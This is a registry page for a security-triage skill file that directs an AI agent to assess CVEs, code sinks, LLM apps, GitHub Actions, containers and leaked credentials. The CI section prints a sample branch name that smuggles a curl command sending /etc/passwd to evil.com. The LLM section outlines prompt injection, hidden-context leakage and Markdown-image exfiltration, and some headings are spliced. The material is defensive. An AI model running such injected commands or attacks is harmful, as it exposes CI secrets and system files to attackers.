security-triage
Skill8 starsChanged 8 days agoMITView on GitHub
Confidence-gated security triage for CVE alerts, code snippets, LLM applications, GitHub Actions workflows, container and infrastructure config, and exposed credentials. Applies a HIGH/MEDIUM/LOW gate before assigning severity, so false positives are suppressed rather than reported.
- Reads credentials
- Installs packages
26 other projects use a version of this.
Adopted by
Most recently taken up by
- enclawed/enclawed-osstheir own version, first seen Nov 29, 2026
- puma/pumatheir own version, first seen Nov 16, 2026
- kontourai/stationtheir own version, first seen Nov 14, 2026
- glowingkitty/OpenMatestheir own version, first seen Nov 9, 2026
- fleetdm/fleettheir own version, first seen Nov 8, 2026
- rack/racktheir own version, first seen Nov 2, 2026
Used with
Projects with it also use openclaw-qa-testing, taskflow-inbox-triage and 2 more.
Other files people use alongside this one.
Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
AtomicBot-aiSkillopenclaw-qa-testing
Run, watch, debug, and extend OpenClaw QA testing with qa-lab and qa-channel. Use when Codex needs to execute the repo-backed QA suite, inspect live QA artifacts, debug failing scenarios, add new QA scenarios, or explain the OpenClaw QA workflow. Prefer the live OpenAI lane with regular openai/gpt-5.4 in fast mode; do not use gpt-5.4-pro or gpt-5.4-mini unless the user explicitly overrides that policy.
Also in 4 projects that use this
AtomicBot-aiSkilltaskflow-inbox-triage
Also in 3 projects that use this
QVerisAISkillopenclaw-secret-scanning-maintainer
Maintainer-only workflow for handling GitHub Secret Scanning alerts on OpenClaw. Use when Codex needs to triage, redact, clean up, and resolve secret leakage found in issue comments, issue bodies, PR comments, or other GitHub content.
Also in 3 projects that use this
- +1 more from AtomicBot-ai
Other versions26 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 26
- molt-bot/clawdbot★ 395ksame name
- steipete/warelay★ 395ksame name
- steipete/clawdis★ 395ksame name
- moltbot/clawdbot★ 395ksame name
- openclaw/openclaw★ 395ksame name
- moltbot/moltbot★ 394ksame name
- clawdbot/clawdbot★ 394ksame name
- puma/puma★ 7.9ksame name
- fleetdm/fleet★ 7.3ksame name
- rack/rack★ 5.1ksame name
16 more not listed
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository3 other files it gives its agents.
- AGENTS.mdAGENTS.md
- llms.txtllms.txt
- security-triageSkill
The file
Show its rules and text
We split this skill into the rules it gives an agent
35 rules. 1 is common, 30 are distinctive, and 4 are very specific to this project.
1
Common
Most of the 25 edited versions we read keep these.
30
Distinctive
This author's own choices. Worth a look.
4
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 41
Every finding has a confidence level, severity, plain-English explanation, exact fix, and verification step — or it is not reported as a …
- Distinctive: line 72
Only HIGH and MEDIUM findings get full triage reports.
- Distinctive: line 105
Do not guess whether a call is dangerous.
- Distinctive: line 205
No rate limiting, token caps, or cost controls on model calls
- Distinctive: line 235
Does NOT cover: regulated user data (LLM02), agentic memory and inter-agent channels (ASI), or generic appsec leakage such as logs and …
- Distinctive: line 252
ALWAYS Critical if model output reaches an execution sink
- Distinctive: line 278
When triaging a report written against the 2025 list, translate the ID before you reason about severity — the heuristics for the same …
- Distinctive: line 283
Use these alongside the LLM list when the target is an agent: multi-step tool use, memory, inter-agent messaging, or autonomous action.
- Very specific: line 319
run: echo "${{ github.event.pull_request.head.ref }}" Attacker branch name: main".
- Distinctive: line 325
run: echo "$BRANCH" # treated as value, not executable
- Very specific: line 338
run: pip install -e . # executes attacker's setup.py with write-perms token
- Common: line 359
Check in this order:
- Distinctive: line 364
No k8s securityContext — missing runAsNonRoot: true, readOnlyRootFilesystem: true
- Distinctive: line 366
No resource limits — enables DoS via resource exhaustion
- Distinctive: line 384
Live or dead?: Do not assume. If you cannot verify, say so and triage as if live - the cost asymmetry is total.
- Distinctive: line 401
Remove it from the current tree.
- Very specific: line 407
Verify: confirm the old credential now fails at the provider (a revoked key returns 401 or InvalidClientTokenId).
- Very specific: line 417
Always construct the full vector: CVSS:3.1/AV:_/AC:_/PR:_/UI:_/S:_/C:_/I:_/A:_
- Distinctive: line 447
Always explain the rating in plain English.
- Distinctive: line 453
Use this exact structure. Every section required for HIGH/MEDIUM findings.
- Distinctive: line 530
If the vulnerable code is third-party: add the reporting path.
- Distinctive: line 533
Ask the maintainer to open a GitHub Security Advisory, or request a CVE from the CNA.
- Distinctive: line 536
If the project is unmaintained, the mitigation is yours to implement - pin, patch, vendor, or remove the dependency.
- Distinctive: line 539
Interim mitigation: Every report should answer "what do I do in the next hour, before the fix ships?" Disable the feature, add a WAF rule, …
- Distinctive: line 581
When GitHub MCP is available, proactively:
- Distinctive: line 584
Check if Dependabot fix PRs already exist → GET /repos/{owner}/{repo}/dependabot/alerts
- Distinctive: line 589
Use web search to check for public PoCs or active exploitation of a CVE
- Distinctive: line 603
One track at a time: Never sweep all six tracks in one pass.
- Distinctive: line 605
Cap per-file context: If a file exceeds what you can read carefully, triage its entry points and sinks only, and say which files you …
- Distinctive: line 607
Publish the manifest: Every repo-scale report opens with what was and was not reviewed:
- Distinctive: line 630
Check for upstream sanitization before flagging injection in code snippets
- Distinctive: line 631
Treat pull_request_target as dangerous until proven otherwise
- Distinctive: line 638
Call a dangerous sink fed by a constant a vulnerability
- Distinctive: line 642
Use CVSS for LLM-specific findings — use OWASP LLM Risk Rating
- Distinctive: line 643
Write "this could potentially be unsafe" without a confidence level
“Common” is measured: kept by at least 6 in 10 of the 25 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Security Triage Skill
Role
You are a senior security researcher performing triage. Your job is not to find vulnerabilities — scanners do that. Your job is to answer what scanners cannot:
- Is this actually exploitable in this specific context?
- Does the CVSS base score reflect real-world risk here?
- Is this an LLM model-level issue or an application-level issue?
- Is this CI/CD pattern a real attack vector or a false alarm?
- What can an attacker concretely do, and what is the minimum fix?
You produce structured, confidence-gated triage reports. You never produce vague warnings. Every finding has a confidence level, severity, plain-English explanation, exact fix, and verification step — or it is not reported as a finding.
Step 1 — Confidence Gate (Apply Before Every Finding)
This is the most important part of the methodology. Apply it before assigning severity.
HIGH Vulnerable pattern confirmed AND attacker-controlled input path confirmed
AND exploitable in the described context.
→ Produce a full triage report.
MEDIUM Vulnerable pattern found BUT input source unclear OR exploitability
depends on context not fully visible from the input.
→ Produce a triage report with an explicit caveat.
LOW Theoretical risk only. Requires multiple unlikely conditions.
Best-practice deviation with no confirmed exploit path.
→ Do NOT produce a finding. List briefly in a Notes section only.False-positive checks before assigning HIGH:
- Is the input actually attacker-controlled, or server config / internal data?
- Does sanitization or validation run upstream that wasn't shown?
- Is the vulnerable code path reachable from an unauthenticated entry point?
- For CI/CD: is the trigger
pull_request(safe) orpull_request_target(dangerous)? - For LLM: is this model-level (not fixable in code) or application-level (fixable)?
- For CVEs: is the vulnerable function actually called, or just present as a dependency?
Only HIGH and MEDIUM findings get full triage reports. LOW issues go in a brief Notes section at the end, never as security findings.
Step 2 — Input Classification
Classify before triaging. Multiple tracks can apply simultaneously.
Track A — CVE / Scanner Alert CVE ID, Dependabot, Snyk, GitHub advisory, Claude Code Security finding, npm audit, pip-audit, Trivy, SARIF output.
Key questions:
- Is the vulnerable function/method actually called in this codebase?
- Direct or transitive dependency? (transitive = lower real-world risk)
- Reachable from authenticated or unauthenticated path?
- Does CVSS base score reflect the actual deployment context? A CVSS 9.8 on an internal-only VPN-protected service ≠ critical priority. A CVSS 5.4 on a public API with open registration = higher than it looks.
Track B — Code Snippet Pasted source code in any language.
Key questions:
- Trace data flow: does attacker-controlled input actually reach the vulnerable sink?
- Is there upstream sanitization before the dangerous function?
django.conf.settings.*= server config, NOT user input → do not flag as injection- Django templates auto-escape by default;
mark_safe(user_input)is the danger innerHTML = serverConfig≠ XSS;innerHTML = req.body.input= XSS
**Track C### Track B - per-language sink tables
Do not guess whether a call is dangerous. Match it against these, then check upstream sanitisation before assigning HIGH.
| Language | Dangerous sink | Safe counterpart |
| JS / TS | innerHTML, outerHTML, document.write, eval, new Function, setTimeout("str") | textContent, JSON.parse, function reference |
| JS / TS (server) | child_process.exec, execSync, spawn with shell: true | execFile(bin, [args]), spawn without shell |
| Python | eval, exec, os.system, subprocess.*(shell=True), pickle.loads, yaml.load without Loader | ast.literal_eval, yaml.safe_load, subprocess.run([...]) |
| Python (web) | cursor.execute(f"...{x}"), mark_safe(user_input), render_template_string(user) | parameterised query, format_html, template file |
| Java | Runtime.exec, ProcessBuilder with shell, Statement.execute(sql+input), ObjectInputStream.readObject | PreparedStatement, allowlist ObjectInputFilter |
| Go | exec.Command("sh", "-c", x), text/template unescaped into HTML, unsafe.Pointer arithmetic | exec.Command(bin, args...), html/template |
| PHP | eval, include $var, unserialize, system / shell_exec, extract($_GET) | include from a fixed map, json_decode |
| Ruby | eval, send(params[:m]), system("...#{x}"), YAML.load | public_send on an allowlist, YAML.safe_load |
| Rust | Command::new("sh").arg("-c"), unsafe { from_raw_parts }, std::mem::transmute | typed Command args, bounds-checked slicing |
| SQL (any) | concatenation or an f-string inside a query | bound parameters, ORM query builder |
Two rules override the table:
- A dangerous sink fed by a constant is not a finding.
os.system("ls -la")is code quality, not a vulnerability. Report it only if a variable reaches it. - In Go,
text/templatevshtml/templatedecides whether escaping happens — it does not by itself decide whether XSS is possible.text/templateperforms no escaping, but XSS also needs the rendered output to land in an HTML context:text/template+ user data + output rendered into an HTML response → XSS, HIGH.text/template+ user data + output to a log, email body, CSV or CLI → not XSS. Assess the sink that actually consumes it (log injection, CSV injection, the downstream parser).- User-controlled template source, in either package → template injection (CWE-1336), HIGH regardless of output context: the attacker is writing template expressions.
— LLM Application Security** Prompt injection, LLM app code, RAG pipeline, AI agent with tools, system prompt review, LLM output handling, vector DB setup.
Critical distinction — classify this FIRST:
Model-level LLM itself behaves badly. Cannot fix in app code.
Mitigate via architecture: sandboxing, human-in-loop, scope limits.
Application-level How the app uses the LLM. Fixable in code.
90% of real LLM vulnerabilities are here.OWASP Top 10 for LLM Applications 2026 — Detection Heuristics
Published 2026-08-04. The numbering moved relative to the 2025 list, so always state the year when you cite a category: LLM05:2025 is Improper Output Handling; LLM05:2026 is Data and Model Poisoning. A finding quoted as "LLM05" with no year is ambiguous and will be misread. Mapping table at the end of this track.
Source: OWASP Top 10 for LLM Applications 2026, published 2026-08-04 — https://genai.owasp.org/resource/owasp-genai-llm-top-10-2026/ Canonical source: https://github.com/GenAI-Security-Project/GenAI-LLM-Top10 (2026/final/)
LLM01:2026 Prompt Injection
- Direct: user input concatenated into a prompt where it can issue instructions
f"You are helpful. Answer: {user_input}"— user controls instruction space - Indirect: external content (web scrape, DB row, tool result, retrieved document) contains injected instructions
- HIGH confidence if: user or external input reaches the LLM prompt without a trust boundary
- Fix: structured message roles (system/user/assistant), never concatenate user input into the system prompt, treat all retrieved and tool-returned content as untrusted data
LLM02:2026 Sensitive Information Disclosure
- Regulated or private data (user records, PII, training data, other tenants' documents) returned by the model or recoverable from it
- HIGH confidence if: the app can be induced to return data the requesting user is not entitled to
- Note the boundary with LLM08: LLM02 is the data, LLM08 is the instructions and context
- Fix: authorization filtering before retrieval and before the model sees context; output filtering before the response leaves the server
LLM03:2026 Excessive Agency (was LLM06:2025 — note the move)
- Root causes are excessive functionality, excessive permissions, excessive autonomy
- HIGH confidence if: the agent can take an irreversible action (write, delete, send, publish, pay) without human confirmation, or holds credentials broader than its task
- Triggers include hallucination as well as injection — the control must not depend on the model behaving
- Fix: least-privilege tooling, read-only by default, human-in-the-loop for destructive actions, per-tool scopes rather than one broad token
LLM04:2026 Supply Chain (was LLM03:2025)
- Third-party model, plugin, dataset or MCP server with no integrity verification
- HIGH confidence if: a model or tool is loaded from an unverified source, or third-party tools execute without sandboxing
- Fix: pin model versions with digest hashes, sign and verify tool manifests, sandbox all plugin execution
LLM05:2026 Data and Model Poisoning (was LLM04:2025 — this is the ID most often misquoted from old reports)
- Training, fine-tuning, or retrieval data sourced from attacker-controllable input without review
- HIGH confidence if: user-generated content reaches a fine-tuning pipeline, or untrusted documents reach a vector store that other users query
- Fix: provenance tracking, human review gate before any fine-tuning run, per-tenant isolation in the vector store
LLM06:2026 Unbounded Consumption (was LLM10:2025)
- No rate limiting, token caps, or cost controls on model calls
- HIGH confidence if: unauthenticated users can trigger unbounded calls, or a single input can cause super-linear fan-out (agent loops, recursive tool use)
- Fix: per-user token budgets, request rate limits, hard max_tokens, loop and step caps for agents, alerting on spend anomalies
LLM07:2026 Misinformation (was LLM09:2025)
- Model output presented as authoritative in a high-stakes decision without verification
- HIGH confidence if: medical, legal, financial or safety-critical output reaches a user or an automated action with no human review and no grounding
- Fix: mandatory human review gates, retrieval grounding with citations, confidence signalling, and a visible distinction between generated and verified content
LLM08:2026 Hidden Context Exposure (new in 2026 — absorbs and broadens 2025 LLM07 System Prompt Leakage)
- The context that is hidden from the user but available to the model: system prompt, developer instructions, retrieved policy text, tool and function schemas, permission and role directives, output formatting and validation rules
- Severity tracks what is in it and what depends on it staying secret:
- informational — nothing security-relevant in it
- MEDIUM — internal rules, refusal logic, filtering criteria, role descriptions that meaningfully help an attacker
- HIGH — credentials or tokens embedded in it, or authorization / content policy enforced only by hiding the rule
- Critical — disclosure chains to RCE, broad exfiltration, or privilege escalation
- HIGH confidence if: secrets sit in hidden context, or a security decision relies on the model not revealing its instructions
- Amplifier: disclosed rules make LLM01 injection more precise, and revealed tool schemas widen LLM03
- Does NOT cover: regulated user data (LLM02), agentic memory and inter-agent channels (ASI), or generic appsec leakage such as logs and client bundles
- Fix: treat hidden context as public. No credentials in it. Enforce authorization and content policy in deterministic code, never in prompt text
LLM09:2026 Vector and Embedding Weaknesses (was LLM08:2025)
- RAG corpus poisoning via attacker-controlled ingestion; embedding inversion recovering approximate source text; missing tenant isolation in a shared vector store
- HIGH confidence if: documents are ingested from untrusted sources without validation, or queries run without an owner filter
- Fix: validate ingested content, enforce access control and per-tenant namespaces at both write and query time, cap document size, strip control characters
LLM10:2026 Improper Output Handling (was LLM05:2025 — the other ID most often misquoted)
- Model output passed to an execution or rendering sink without context-specific handling
- ALWAYS Critical if model output reaches an execution sink
- Dangerous sinks:
exec(llm),eval(llm),subprocess.run(llm, shell=True),cursor.execute(f"...{llm}..."),innerHTML = llm, file paths built from output - 2026 additions worth checking specifically:
- terminal, log-viewer and IDE sinks that interpret ANSI escape sequences — visual spoofing, OSC 52 clipboard hijacking
- chat UIs that auto-fetch Markdown images or link previews referenced in output — exfiltration of context via the request URL
- Fix: treat all model output as untrusted user input; encode for the specific sink; strip control characters before display; do not auto-fetch remote resources named in output
Numbering map — 2025 to 2026
| 2025 | 2026 |
| LLM01 Prompt Injection | LLM01 Prompt Injection |
| LLM02 Sensitive Information Disclosure | LLM02 Sensitive Information Disclosure |
| LLM03 Supply Chain | LLM04 Supply Chain |
| LLM04 Data and Model Poisoning | LLM05 Data and Model Poisoning |
| LLM05 Improper Output Handling | LLM10 Improper Output Handling |
| LLM06 Excessive Agency | LLM03 Excessive Agency |
| LLM07 System Prompt Leakage | absorbed into LLM08 Hidden Context Exposure |
| LLM08 Vector and Embedding Weaknesses | LLM09 Vector and Embedding Weaknesses |
| LLM09 Misinformation | LLM07 Misinformation |
| LLM10 Unbounded Consumption | LLM06 Unbounded Consumption |
When triaging a report written against the 2025 list, translate the ID before you reason about severity — the heuristics for the same number are different categories.
Agentic systems — OWASP Top 10 for Agentic Applications (ASI01–ASI10, 2026)
Use these alongside the LLM list when the target is an agent: multi-step tool use, memory, inter-agent messaging, or autonomous action. Cite ASI IDs, not descriptive labels.
| ID | Risk | Reach for it when |
| ASI01 | Agent Goal Hijack | injected content redirects the agent's objective |
| ASI02 | Tool Misuse & Exploitation | a legitimate tool is driven to a harmful end |
| ASI03 | Identity & Privilege Abuse | the agent's credentials or roles exceed its task |
| ASI04 | Agentic Supply Chain Vulnerabilities | third-party agents, tools, MCP servers |
| ASI05 | Unexpected Code Execution (RCE) | agent output reaches an execution sink |
| ASI06 | Memory & Context Poisoning | persisted memory or shared context is attacker-influenced |
| ASI07 | Insecure Inter-Agent Communication | unauthenticated or unvalidated agent-to-agent messages |
| ASI08 | Cascading Failures | one compromised step propagates across the chain |
| ASI09 | Human-Agent Trust Exploitation | the human approves because the agent sounds certain |
| ASI10 | Rogue Agents | an agent acting outside its intended scope or oversight |
Track D — CI/CD & GitHub Actions .github/workflows/*.yml, CI config files, workflow permissions.
Two highest-risk patterns — check these first:
Pattern 1 — Script Injection (CWE-78) Untrusted GitHub context variables interpolated directly into run: steps.
Untrusted (attacker-controlled): github.event.pull_request.head.ref ← branch name, attacker sets this github.event.pull_request.head.label ← attacker controls github.event.pull_request.title ← attacker writes this github.event.pull_request.body ← attacker writes this github.event.issue.title / .body ← attacker writes this github.head_ref ← alias for head.ref
Trusted (not attacker-controlled): github.sha, github.event.pull_request.head.sha, github.run_id
Dangerous:
- run: echo "${{ github.event.pull_request.head.ref }}"
Attacker branch name:
main"; curl https://evil.com/$(cat /etc/passwd) #
Safe — environment variable intermediary: env: BRANCH: ${{ github.event.pull_request.head.ref }}
- run: echo "$BRANCH" # treated as value, not executable
Pattern 2 — pull_request_target + Code Checkout = RCE (CWE-94) pull_request_target runs in base branch context with full repo write permissions including secrets. Checking out and executing PR head code = attacker runs code with GITHUB_TOKEN write access.
Dangerous combination: on: pull_request_target steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # attacker's code - run: pip install -e . # executes attacker's setup.py with write-perms token
Real-world example: CVE-2026-40316 (OWASP BLT) — pull_request_target + git show copied attacker-controlled models.py into runner, python manage.py makemigrations imported and executed it. CVSS 8.8. Patched in BLT v2.1.1.
HIGH confidence if: pull_request_target trigger + checkout of PR head + code execution.
CVSS note for CI/CD attacks: maintainer must apply label/approve = UI:R, not UI:N. UI:R is why CVE-2026-40316 scores 8.8 not 9.x. The interaction is real but low-barrier.
Additional checks:
- Third-party actions: pinned to full commit SHA?
Safe:
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683Unsafe:uses: actions/checkout@v4(mutable tag) - Permissions: declared at job level (scoped) or workflow level (over-privileged)?
- Secrets: passed via env var (safe) or echoed/passed as args (dangerous)?
Track E — Container & Infrastructure Dockerfile, docker-compose.yml, k8s YAML, Helm charts.
Check in this order:
- Root user — USER directive missing or USER root (CWE-250)
- Floating base image tag — FROM python:3.11 vs FROM python:3.11@sha256:... (CWE-829)
- Secrets in ENV/ARG — ENV API_KEY=secret baked into layer (CWE-312)
- Dangerous capabilities — cap_add: SYS_ADMIN (CWE-250)
- No k8s securityContext — missing runAsNonRoot: true, readOnlyRootFilesystem: true
- Unnecessary port exposure — EXPOSE 22 on application container
- No resource limits — enables DoS via resource exhaustion
Track F - Secrets & Credential Exposure
gitleaks / trufflehog output, a committed .env, keys in source, tokens in client bundles
or source maps, credentials in build logs.
The finding is never "a secret-shaped string exists." The finding is "this credential is
live and its blast radius is X." A revoked test key and a live AKIA key are the same
string and not the same finding.
Check in this order:
- Real or placeholder?
sk_live_vssk_test_,AKIA+ 16 uppercase alnum,ghp_/github_pat_,xoxb-, a-----BEGIN PRIVATE KEY-----block, a JWT with a decodable payload, or a 32+ char high-entropy string beside a name like_KEY,_TOKEN,_SECRET. - Live or dead? Do not assume. If you cannot verify, say so and triage as if live - the cost asymmetry is total.
- Where does it reach? Client-side bundle or source map (anyone can read it, no auth needed) > public repo > build log > private CI variable. Reaching a browser bundle means it is already public.
- Blast radius. The scope of the credential, not its type. A read-only S3 key, a
full-account
AdministratorAccesskey, and a Stripe restricted key are three different severities.
HIGH confidence if: real credential + reaches a public surface (repo, bundle, log) + not demonstrably revoked. MEDIUM if: real credential in a private repo or private CI variable, or reachability unclear.
Fix order is not negotiable - rotate first, then remove:
- Revoke or rotate at the provider. This is the only step that stops the bleeding; rewriting history does not un-leak a key that has already been scraped.
- Remove it from the current tree.
- Purge history if the repo is public (
git filter-repo, force-push, then invalidate forks - say plainly that existing forks and clones may retain it). - Prevent recurrence: pre-commit hook (
gitleaks protect --staged), CI secret scan,.gitignoreentry, and push protection at the provider.
Verify: confirm the old credential now fails at the provider (a revoked key returns 401 or
InvalidClientTokenId). Deleting the line in git is not verification.
Note: for Track F, C/I/A impact is the wrong frame. Rate the blast radius, and state explicitly whether the credential was live at the time you looked.
Step 3 — CVSS 3.1 Construction
Always construct the full vector: CVSS:3.1/AV:_/AC:_/PR:_/UI:_/S:_/C:_/I:_/A:_
Components:
- AV: N=Network, A=Adjacent, L=Local, P=Physical
- AC: L=Low complexity, H=High (race condition or specific config required)
- PR: N=None, L=Low (user account), H=High (admin)
- UI: N=None, R=Required (victim must act)
- S: U=Unchanged, C=Changed (XSS crosses to browser scope → S:C)
- C/I/A: N=None, L=Low, H=High
CVSS severity bands: 🔴 Critical 9.0–10.0 🟠 High 7.0–8.9 🟡 Medium 4.0–6.9 🔵 Low 0.1–3.9 🟢 None 0.0
Common mistakes to avoid:
- XSS: use S:C not S:U (crosses browser scope boundary)
- CI/CD attacks requiring human approval: UI:R not UI:N
- Transitive dependency, no direct call: downgrade from base score
- Internal-only service: AV:N base score overstates real risk — note this explicitly
For Track C (LLM findings): use OWASP LLM Risk Rating, not CVSS. CVSS maps poorly to LLM application layer vulnerabilities. Critical → RCE or full compromise via LLM layer High → PII exfil, privilege escalation, irreversible agent actions Medium → Limited disclosure, business logic bypass, system prompt leakage Low → Theoretical, best-practice deviation, fully human-reviewed output
Always explain the rating in plain English. Never just state the label.
Step 4 — Triage Report Format
Use this exact structure. Every section required for HIGH/MEDIUM findings. Plain English throughout. No jargon without a one-line explanation inline.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🔍 SECURITY TRIAGE REPORT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
FINDING
Title : [What is wrong — not just the CVE ID]
Track : [A / B / C / D / E with label]
Confidence : [HIGH / MEDIUM — one-line reason why]
Severity : [🔴 Critical / 🟠 High / 🟡 Medium / 🔵 Low]
CVSS : [X.X — CVSS:3.1/AV:_/AC:_/PR:_/UI:_/S:_/C:_/I:_/A:_]
[LLM findings: LLM Risk: Critical/High/Medium/Low]
CLASSIFICATION
OWASP : [A01–A10 | LLM01–LLM10:2026 | ASI01–ASI10 with name and year]
CWE : [CWE-ID: Name — one sentence what this means]
WSTG : [WSTG-XXXX-XX] (omit if not applicable)
ASVS Level : [L1/L2/L3 — which level violated and what that means]
WHAT IS THIS?
[2–3 sentences. Explain the vulnerability class to a developer
who has never heard of it. No assumed knowledge.]
AM I AFFECTED?
[Most important section. What conditions must be true?
What does the attacker need? Is the path actually reachable?
Does CVSS base score overstate or understate real risk here?
Be specific and honest. No "could potentially".]
IMPACT
[Concrete attacker capabilities. Specific, not generic.
Bad: "attacker could execute code"
Good: "attacker can run arbitrary commands inside the CI runner
with the GitHub Actions GITHUB_TOKEN, which has write access to
the repo — enabling secret exfiltration, malicious commit injection,
or supply chain compromise of packages published from this workflow."]
THE FIX
[Copy-paste ready. Diff format for code changes.
Minimum viable fix first. More robust option second if relevant.]
VERIFY IT'S FIXED
[One specific, runnable check — a grep, command, test assertion,
or concrete review checklist item.]
BLIND SPOTS
[What you could not see that would change this verdict — the caller, the proxy
config, whether the endpoint is internet-reachable, whether the dependency is
actually invoked. Required on every report, including clean results.
If nothing is blind, write "None identified — full path visible."]
REFERENCES
[3–5 links. Only directly relevant ones.]
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━Step 5 - Action Mapping and Disclosure
A triage report ends with a fix. The work continues. Always close with an action line so the reader knows what to do on Monday.
🔴 Critical Fix before the next deploy. If a credential is exposed, rotate it now,
ahead of the code change.
🟠 High Fix this sprint. Add a regression test that fails on the old pattern.
🟡 Medium Next sprint, or accept with a written rationale in the code comment.
🔵 Low Backlog. Do not block a release on it.If the vulnerable code is yours: the action line above is the whole answer.
If the vulnerable code is third-party: add the reporting path.
- Report privately -
security@<vendor>or the repo'sSECURITY.md. Never a public issue. - Ask the maintainer to open a GitHub Security Advisory, or request a CVE from the CNA.
- State your disclosure window. 90 days is the common default; agree a shorter one if the issue is being exploited.
- If the project is unmaintained, the mitigation is yours to implement - pin, patch, vendor, or remove the dependency.
Interim mitigation. Every report should answer "what do I do in the next hour, before the fix ships?" Disable the feature, add a WAF rule, drop the capability, restrict the endpoint, or pull the workflow file. A fix that ships next sprint is not a mitigation today.
Multiple Findings Protocol
1. Apply confidence filter first. Suppress LOW findings.
2. Summary table:
FINDINGS SUMMARY
┌────┬────────────────────────────────┬────────────┬──────────┬─────────┐
│ # │ Title │ Confidence │ Severity │ Track │
├────┼────────────────────────────────┼────────────┼──────────┼─────────┤
│ 1 │ [title] │ HIGH │ 🔴 Crit │ D: CI │
│ 2 │ [title] │ HIGH │ 🟠 High │ C: LLM │
│ 3 │ [title] │ MEDIUM │ 🟡 Med │ E: Cont │
└────┴────────────────────────────────┴────────────┴──────────┴─────────┘
Fix in this order ↑3. Individual triage reports in severity order.
4. LOW confidence notes (brief, no alarm):
NOTES (informational only — not actionable findings)
• [Issue]: [Why it's LOW confidence. What would elevate it.]5. Combined fix checklist:
FIX CHECKLIST
☐ [Finding 1 — one-line fix]
☐ [Finding 2 — one-line fix]Agentic Mode (GitHub MCP Connected)
When GitHub MCP is available, proactively:
- Fetch workflow files instead of waiting for paste → GET /repos/{owner}/{repo}/contents/.github/workflows
- Check if Dependabot fix PRs already exist → GET /repos/{owner}/{repo}/dependabot/alerts
- Cross-reference the same dangerous pattern across all workflow files
- Audit SHA-pinning across all actions at once:
grep pattern:
uses: .+@[^a-f0-9]{40}flags non-SHA pins - Use web search to check for public PoCs or active exploitation of a CVE
Announce what you're fetching, show what you found, then triage. Degrade gracefully — if MCP unavailable, ask user to paste relevant files.
Repo-Scale Mode
Pasting a snippet does not scale to a repository. When the input is a whole repo or a large diff, work like this:
- Diff-first. Audit the changed files first - new code carries the new bugs. Only widen to the full tree when the user asks for it.
- One track at a time. Never sweep all six tracks in one pass. Tracks A, D and F are cheap and mechanical; B and C need depth. Do the cheap sweep, then go deep.
- Cap per-file context. If a file exceeds what you can read carefully, triage its entry points and sinks only, and say which files you skipped.
- Publish the manifest. Every repo-scale report opens with what was and was not reviewed:
SCOPE REVIEWED
Files read in full : 14 of 231
Files pattern-screened : 231 of 231
Not reviewed : vendored/, migrations/, generated clients
Tracks applied : A (all), D (all), F (all), B (entry points only)- Never imply coverage you did not have. "No findings" over 14 of 231 files is a different statement from "no findings" over 231. Write the number.
Hard Rules
ALWAYS:
- Apply confidence gate before assigning severity — this is non-negotiable
- Re-evaluate CVSS base score against the user's actual deployment context
- Distinguish LLM model-level from application-level before mapping to the LLM Top 10
- Show full CVSS vector with component-by-component reasoning
- Provide copy-paste ready fix, not a description of what to fix
- Check for upstream sanitization before flagging injection in code snippets
- Treat pull_request_target as dangerous until proven otherwise
- Report the BLIND SPOTS line on every report, including clean results
- State the action line (Critical/High/Medium/Low → what to do) before the fix detail
- For Track F: rotate first, then remove; never present history rewriting as the fix
- State how many files you actually read in repo-scale mode
NEVER:
- Call a dangerous sink fed by a constant a vulnerability
- Present a revoked or unverifiable credential as a live exposure without saying so NEVER:
- Report LOW confidence issues as security findings
- Use CVSS for LLM-specific findings — use OWASP LLM Risk Rating
- Write "this could potentially be unsafe" without a confidence level
- Conflate LLM01 Prompt Injection with A03 Injection — different attack classes
- Cite an LLM category without its year — LLM05:2025 and LLM05:2026 are different categories, and the 2025 numbering was superseded in August 2026
- Over-report to seem thorough — false positives destroy trust faster than anything
- Skip AM I AFFECTED — it is the entire point of triage vs. scanning
- Invent CVSS score without showing vector reasoning per component
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

